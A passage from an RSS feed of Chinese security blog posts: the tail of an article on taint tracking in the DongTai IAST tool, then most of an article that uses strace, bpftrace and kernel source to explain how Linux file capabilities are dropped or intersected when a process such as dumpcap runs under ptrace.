rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">java.sql.Connection.prepareStatement(java.lang.String)</code>,当第一个参数是污点时,就会告警,规则如下。<img class="rich_pages wxw-img" data-ratio="0.5445544554455446" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="2424" src="https://wechat2rss.xlab.app/img-proxy/?k=eee585b3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFwyeCXsWiaYyeGsepmxeN9bYzenB9v9ia76F0XXu2BaTca6qhpgWXNIGAcImWG3ocVOkqQ5X9E6gKQpluqNLzvaw%2F640%3Fwx_fmt%3Dpng"/></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">所以使用 ${name}时,<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">admin</code>字符串对象是污点,<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">&#34;select * from user where name=&#34;admin&#34;</code>字符串对象也会被标记成污点,于是命中危险方法规则,产生告警。</p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>总结</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">学习iast时阅读官方文档和代码调试很有用,java-agent调试可以看 <a href="https://doc.dongtai.io/docs/development/dongtai-java-agent-doc/agent-debug" target="_blank">https://doc.dongtai.io/docs/development/dongtai-java-agent-doc/agent-debug</a></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: block;">参考资料</span></h3><section data-tool="mdnice编辑器"><span style="display: flex;"><span style="display: inline;width: 10%;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;font-size: 80%;opacity: 0.6;line-height: 26px;font-family: ptima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">[1]</span><p style="display: inline;font-size: 14px;width: 90%;line-height: 26px;word-break: break-all;">洞态iast: <em><a href="https://doc.dongtai.io/" target="_blank">https://doc.dongtai.io/</a></em></p></span></section></section><p><br/></p>



<p><a href="2247485228">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=185c5f9c&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkyMDIxMjE5MA%3D%3D%26mid%3D2247485228%26idx%3D1%26sn%3D458ac9727f63f4cfb504c1efde062767%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 30 Sep 2022 12:25:00 +0800</pubDate>
    </item>
    <item>
      <title>关于&#34;linux能力&#34;的两个特殊案例</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkyMDIxMjE5MA==&amp;mid=2247485216&amp;idx=1&amp;sn=44d5accefdd51f17ec41bb2b0e8d8642</link>
      <description>背景虽然官方文档(man capabilities)和《Linux 内核安全模块深入剖析》书的第六章对&#34;能力</description>
      <content:encoded><![CDATA[<p>
原创 <span>leveryd</span> <span>2022-09-09 21:40</span> <span style="display: inline-block;">北京</span>
</p>

<p>背景虽然官方文档(man capabilities)和《Linux 内核安全模块深入剖析》书的第六章对"能力</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=25a3001e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FFwyeCXsWiaYz99shtfEnUqv3eP75icf3KqgHjqMgGexPPkiajUt5kbU3dXQrMDbicdBUDuBY9j3pobLuIDeWmTUdYA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>背景</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">虽然官方文档(man capabilities)和《Linux 内核安全模块深入剖析》书的第六章对&#34;能力&#34;有很全面详细的描述，但是我之前遇到了两个和能力有关的案例，从文档中看不出来原因，只好猜测原因并从源码中确认结论。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">本文记录这两个特殊案例，加深自己对&#34;能力&#34;概念的理解，也希望能对linux安全有兴趣的读者有点帮助。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">第一个案例是普通用户执行<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">dumpcap</code>时可以按照预期运行，而<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">strace dumpcap</code>时提示权限不足。如下</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.47650273224043715" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1830" src="https://wechat2rss.xlab.app/img-proxy/?k=d650f785&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFwyeCXsWiaYz99shtfEnUqv3eP75icf3KqP0Fb2UJDOtcicEeUL5WEs61FfCnTg8aU5Jmj50Zwpr9AvZoTGe435JQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">更详细的问题背景可以见正文，或者看我提的issue：<a href="https://github.com/strace/strace/issues/221" target="_blank">https://github.com/strace/strace/issues/221</a></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">第二个案例是我好奇root用户执行<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">su - test</code>变成非root用户后会有哪些能力？</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">先来看第一个案例。</p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>普通用户执行<code>strace dumpcap</code>时提示权限不足</h1><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span>研究这个问题的起因</h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在 <a href="https://mp.weixin.qq.com/s?__biz=MzkyMDIxMjE5MA==&amp;mid=2247485208&amp;idx=1&amp;sn=d5f9c5b638f927452dbfc314a1fb15cf&amp;scene=21#wechat_redirect" style="color: rgb(30, 107, 184);overflow-wrap: break-word;font-weight: bold;border-bottom: 1px solid rgb(30, 107, 184);" data-linktype="2">基于netfilter的后门</a> 文章中，我最早是用<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">dumpcap -i nflog:2333</code>代替<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">tcpdump -i nflog:2333</code>抓包的。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">我在安装dumpcap命令、添加x权限后，发现非root用户也可以用dumpcap抓整个主机上的包。如下</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">[root@instance-h9w7mlyv ~]<span style="color: #5c6370;font-style: italic;line-height: 26px;"># yum install wireshark -y    // 安装dumpcap命令</span><br/>[root@instance-h9w7mlyv ~]<span style="color: #5c6370;font-style: italic;line-height: 26px;"># chmod +x /usr/bin/dumpcap   // 添加执行权限</span><br/>[<span style="color: #e6c07b;line-height: 26px;">test</span>@instance-h9w7mlyv ~]$ dumpcap -i eth0     // 抓eth0网卡的包<br/>Capturing on <span style="color: #98c379;line-height: 26px;">&#39;eth0&#39;</span><br/>File: /var/tmp/wireshark_eth0_20220907165305_9Quu6X.pcapng<br/>Packets captured: 17<br/>Packets received/dropped on interface <span style="color: #98c379;line-height: 26px;">&#39;eth0&#39;</span>: 17/0 (pcap:0/dumpcap:0/flushed:0/ps_ifdrop:0) (100.0%)<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">一个普通用户能够获取主机上的所有流量，听着就很不安全，所以我就想看看为什么非root用户可以用dumpcap命令监听网卡流量。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">[<span style="color: #e6c07b;line-height: 26px;">test</span>@instance-h9w7mlyv ~]$ <span style="color: #e6c07b;line-height: 26px;">getcap</span> /usr/bin/dumpcap<br/>/usr/bin/dumpcap = cap_net_admin,cap_net_raw+ep<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">如上，可以看到dumpcap有<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">cap_net_raw</code>文件能力。或许你知道只要线程有<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">cap_net_raw</code>能力，就可以用<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL))</code>创建socket来抓包。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">所以可以猜测dumpcap也是用<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">AF_PACKET socket</code>抓包的，于是我想执行<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">strace dumpcap</code>看一下系统调用中是否有创建<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">AF_PACKET socket</code>。然后发现普通用户执行<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">strace dumpcap</code>时提示报错，如下</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">[<span style="color: #e6c07b;line-height: 26px;">test</span>@instance-h9w7mlyv ~]$ strace -o strace.log dumpcap<br/>Capturing on <span style="color: #98c379;line-height: 26px;">&#39;eth0&#39;</span><br/>dumpcap: The capture session could not be initiated on interface <span style="color: #98c379;line-height: 26px;">&#39;eth0&#39;</span> (You don<span style="color: #98c379;line-height: 26px;">&#39;t have permission to capture on that device).<br/>Please check to make sure you have sufficient permissions.<br/>...<br/></span></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">这里就让我感觉很奇怪：为什么普通用户执行<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">dumpcap</code>时可以按照预期运行，而<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">strace dumpcap</code>时提示权限不足？</p><blockquote data-tool="mdnice编辑器" style="border-top: none;border-right: none;border-bottom: none;font-size: 0.9em;overflow: auto;border-left-color: rgba(0, 0, 0, 0.4);background: rgba(0, 0, 0, 0.05);color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;margin-bottom: 20px;margin-top: 20px;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">还有类似的现象：普通用户<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">strace ping www.baidu.com</code>也会提示权限不足</p></blockquote><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span>为什么普通用户执行<code>strace dumpcap</code>时提示权限不足？</h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">man execve</code>看到下面一段文档</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">The aforementioned transformations of the effective IDs are not performed (i.e., the <span style="color: #e6c07b;line-height: 26px;">set</span>-user-ID and <span style="color: #e6c07b;line-height: 26px;">set</span>-group-ID bits are ignored) <span style="color: #c678dd;line-height: 26px;">if</span> any of the following is <span style="color: #56b6c2;line-height: 26px;">true</span>:<br/> *  the no_new_privs attribute is <span style="color: #e6c07b;line-height: 26px;">set</span> <span style="color: #c678dd;line-height: 26px;">for</span> the calling thread (see prctl(2));<br/> *  the underlying filesystem is mounted nosuid (the MS_NOSUID flag <span style="color: #c678dd;line-height: 26px;">for</span> mount(2)); or<br/> *  the calling process is being ptraced.   // 进程正在被ptrace<br/>The capabilities of the program file (see capabilities(7)) are also ignored <span style="color: #c678dd;line-height: 26px;">if</span> any of the above are <span style="color: #56b6c2;line-height: 26px;">true</span>.<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><span style="color: #1e6bb8;font-weight: bold;">`man capabilities`</span><sup style="line-height: 0;color: #1e6bb8;font-weight: bold;">[1]</sup>看到下面一段文档</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">Note: the capability transitions described above may not be performed (i.e., file capabilities may be ignored) <span style="color: #c678dd;line-height: 26px;">for</span> the same reasons that the <span style="color: #e6c07b;line-height: 26px;">set</span>-user-ID and <span style="color: #e6c07b;line-height: 26px;">set</span>-group-ID bits are ignored; see<br/>execve(2).<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">从文档得出结论：只要进程被ptrace，那么execve时就会忽略文件能力和set-uid/set-gid等。因为strace底层就是ptrace，所以似乎这个结论可以解释我遇到的现象。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">但是当用root用户给strace文件添加能力后，普通用户运行<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">strace dumpcap</code>又可以正常工作，上面的结论就解释不通了。如下</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">[root@instance-h9w7mlyv ~]<span style="color: #5c6370;font-style: italic;line-height: 26px;"># setcap cap_net_admin,cap_net_raw+ep /usr/bin/strace   // 给strace文件添加能力</span><br/>[root@instance-h9w7mlyv ~]<span style="color: #5c6370;font-style: italic;line-height: 26px;">#</span><br/>[root@instance-h9w7mlyv ~]<span style="color: #5c6370;font-style: italic;line-height: 26px;"># su - test     // 切换到普通用户</span><br/>...<br/>[<span style="color: #e6c07b;line-height: 26px;">test</span>@instance-h9w7mlyv ~]$ <span style="color: #e6c07b;line-height: 26px;">getcap</span> /usr/bin/strace<br/>/usr/bin/strace = cap_net_admin,cap_net_raw+ep<br/>[<span style="color: #e6c07b;line-height: 26px;">test</span>@instance-h9w7mlyv ~]$ <span style="color: #e6c07b;line-height: 26px;">getcap</span> /usr/bin/dumpcap<br/>/usr/bin/dumpcap = cap_net_admin,cap_net_raw+ep<br/>[<span style="color: #e6c07b;line-height: 26px;">test</span>@instance-h9w7mlyv ~]$ strace -o strace.log dumpcap      // strace dumpcap现在可以抓包<br/>Capturing on <span style="color: #98c379;line-height: 26px;">&#39;eth0&#39;</span><br/>File: /var/tmp/wireshark_eth0_20220908182215_A7Uikl.pcapng<br/>Packets captured: 11<br/>Packets received/dropped on interface <span style="color: #98c379;line-height: 26px;">&#39;eth0&#39;</span>: 11/0 (pcap:0/dumpcap:0/flushed:0/ps_ifdrop:0) (100.0%)<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">所以看起来，普通用户执行<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">strace dumpcap</code>后dumpcap进程的有效能力集是strace文件能力和dumpcap文件能力交集。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">那到底是不是这样呢？</p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span>是不是交集?</h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">strace dumpcap</code>时,从用户态看strace原理大概如下</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">// fork后，strace子进程能力集和strace进程是相同的<br/>pid_t pid = fork();<br/>// 子进程<br/><span style="color: #c678dd;line-height: 26px;">if</span> (pid == 0) {<br/>    ptrace(PTRACE_TRACEME,0,NULL,NULL);<br/>    // 加载被调试的程序<br/>    execve(<span style="color: #98c379;line-height: 26px;">&#34;/usr/bin/dumpcap&#34;</span>, NULL, NULL);<br/>}<br/></code></pre><blockquote data-tool="mdnice编辑器" style="border-top: none;border-right: none;border-bottom: none;font-size: 0.9em;overflow: auto;border-left-color: rgba(0, 0, 0, 0.4);background: rgba(0, 0, 0, 0.05);color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;margin-bottom: 20px;margin-top: 20px;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">参考 <span style="color: #1e6bb8;font-weight: bold;">Linux ptrace 的实现</span><sup style="line-height: 0;color: #1e6bb8;font-weight: bold;">[2]</sup></p></blockquote><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">内核在执行execve时，会执行到cap_bprm_set_creds函数，函数栈如下</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">[root@instance-h9w7mlyv ~]<span style="color: #5c6370;font-style: italic;line-height: 26px;"># bpftrace -e &#39;kprobe:cap_bprm_set_creds {printf(&#34;%s\n&#34;,kstack)}&#39;</span><br/>Attaching 1 probe...<br/>        cap_bprm_set_creds+1<br/>        security_bprm_set_creds+34<br/>        prepare_binprm+299<br/>        do_execveat_common.isra.37+1274<br/>        __x64_sys_execve+50   // execve系统调用入口<br/>        do_syscall_64+91<br/>        entry_SYSCALL_64_after_hwframe+101<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">代码位置在：<a href="https://elixir.bootlin.com/linux/v4.18/source/security/commoncap.c#L854" target="_blank">https://elixir.bootlin.com/linux/v4.18/source/security/commoncap.c#L854</a></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">可以看到cap_bprm_set_creds函数会对能力做交集</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">int cap_bprm_set_creds(struct linux_binprm *bprm)<br/>{<br/> const struct cred *old = current_cred();<br/> struct cred *new = bprm-&gt;cred;<br/> ...<br/>  ret = get_file_caps(bprm, &amp;effective, &amp;has_fcap);    // 会从文件扩展属性中找到能力集合，赋值给brpm-&gt;cred相应字段<br/>  ...<br/> <span style="color: #c678dd;line-height: 26px;">if</span> ((is_setid || __cap_gained(permitted, new, old)) &amp;&amp;<br/>     ((bprm-&gt;unsafe &amp; ~LSM_UNSAFE_PTRACE) ||<br/>      !ptracer_capable(current, new-&gt;user_ns))) {<br/>  /* downgrade; they get no more than they had, and maybe less */<br/>  <span style="color: #c678dd;line-height: 26px;">if</span> (!ns_capable(new-&gt;user_ns, CAP_SETUID) ||<br/>      (bprm-&gt;unsafe &amp; LSM_UNSAFE_NO_NEW_PRIVS)) {<br/>   new-&gt;euid = new-&gt;uid;<br/>   new-&gt;egid = new-&gt;gid;<br/>  }<br/>  new-&gt;cap_permitted = cap_intersect(new-&gt;cap_permitted,    // new-&gt;cap_permitted是execve后的进程允许能力集，当前的值是dumpcap文件的允许能力集<br/>         old-&gt;cap_permitted);   // old-&gt;cap_permitted是当前进程的允许能力集，也就是strace fork后子进程的能力集<br/> }<br/>  ...<br/>}<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">那strace进程的能力集是怎么来的呢？</p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span>strace进程的能力集是怎么来的呢？</h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">strace进程能力是根据bash进程能力和strace文件能力，按照计算规则得来的，如下</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.7582562747688243" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1514" src="https://wechat2rss.xlab.app/img-proxy/?k=f995f7fc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFwyeCXsWiaYz99shtfEnUqv3eP75icf3KqEaSInYPzUwCQKk0DkHjGic6VvUbHBofNcCHbGykJxdibOhzicupk15Drw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">那普通用户的bash进程能力集又是啥呢？它是怎么计算出来的呢？这就是我的第二个疑问</p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>普通用户的bash进程能力集是啥？</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">如下，可以看到普通用户的bash进程除了<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">限制能力集</code>其他能力集都是0</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">[root@instance-h9w7mlyv ~]<span style="color: #5c6370;font-style: italic;line-height: 26px;"># su - test</span><br/>[<span style="color: #e6c07b;line-height: 26px;">test</span>@instance-h9w7mlyv ~]$ ps<br/>  PID TTY          TIME CMD<br/>18042 pts/4    00:00:00 bash<br/>[<span style="color: #e6c07b;line-height: 26px;">test</span>@instance-h9w7mlyv ~]$ cat /proc/18042/status|grep -i <span style="color: #e6c07b;line-height: 26px;">cap</span><br/>CapInh: 0000000000000000<br/>CapPrm: 0000000000000000<br/>CapEff: 0000000000000000<br/>CapBnd: 000001ffffffffff<br/>CapAmb: 0000000000000000<br/></code></pre><blockquote data-tool="mdnice编辑器" style="border-top: none;border-right: none;border-bottom: none;font-size: 0.9em;overflow: auto;border-left-color: rgba(0, 0, 0, 0.4);background: rgba(0, 0, 0, 0.05);color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;margin-bottom: 20px;margin-top: 20px;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">test用户是<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: 